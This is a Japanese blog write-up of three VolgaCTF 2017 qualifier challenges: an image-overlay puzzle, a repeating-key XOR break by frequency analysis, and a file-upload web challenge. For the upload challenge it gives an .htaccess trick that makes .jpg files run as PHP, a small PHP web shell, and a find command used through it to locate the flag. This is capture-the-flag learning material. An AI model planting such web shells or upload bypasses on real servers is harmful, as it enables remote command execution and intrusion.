h_nosonの日記

競プロ、CTFなど

VolgaCTF 2017 Quals write up

shpxというチームを組ませていただいてから初めてのCTF。
700点を取り、117位という結果で終わりました。
個人では150+50+200(共同)点。全体的に全然わからなかったので精進が必要です。
f:id:h_noson:20170327225724p:plain

Write up

VC

A.pngとB.pngを重ねたら文字が見えたのでそれを読むだけでした。
f:id:h_noson:20170327214753p:plain
自分はこれを頑張って読みましたが、そのあとにチームの方がいい解法を教えてくれました。

composite -compose difference A.png B.png diff.png

f:id:h_noson:20170327225015p:plain

PyCrypto

実験してみると
flag:'AAAAAA',key:'ABCD' => '\x00\x03\x02\x05\x00\x03'
と暗号化されたので鍵をぐるぐる使いまわしている、flagとkeyをxorしていると予測しました。
これでxorかどうか確認できます。

#!/usr/bin/env python3
from struct import pack, unpack
from pycryptography import encrypt

if __name__ == '__main__':
    for x in range(256):
        for y in range(256):
            if x^y != unpack('B',encrypt(pack('B',x),pack('B',y)))[0]:
                print("No")
                exit(0)
print("Yes")

20bytesごとに同じ鍵が使われているので頻度をみて鍵を予測すればよさそうです。
英文はスペースの頻度が高いため、頻度が高いものをスペースと仮定して鍵を決めました。

#!/usr/bin/env python3
import string
from collections import Counter

if __name__ == '__main__':
    with open('flag.enc', 'rb') as fe:
        enc = fe.read()
        ans = [" "] * len(enc)
        for i in range(20):
            counter = Counter(enc[i::20])
            for m,_ in counter.most_common():
                key = m ^ 0x20
                ok = True
                for j in range(i,len(enc),20):
                    m = enc[j]^key
                    if chr(m) in string.printable:
                        ans[j] = chr(m)
                    else:
                        ok = False
                if ok:
                    break
print(''.join(ans))

Share Point

phpファイルなどはアップロードできません。画像はアップロードできるので画像からコードを実行できるようにすればよさそうです。
.htaccess

AddType application/x-httpd-php .jpg

と書いてアップロードすればjpgをphpとして実行できます。
あとはパラメータの値を実行するスクリプトを書いてcmd.jpgとしてアップロード。

<?php
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
?>

f:id:h_noson:20170327223022p:plain
こんな感じでコマンドが実行できます。
コマンドを実行できるようになりましたが、フラグを見つけることができませんでした…のでここからはチームの方にやっていただきました。

cmd.jpg?cmd=find%20/%20-name%20*flag*

でflagの文字を含むファイルが列挙できるようです。
/opt/flag.txtにありました。

Share機能はなんだったんだろう…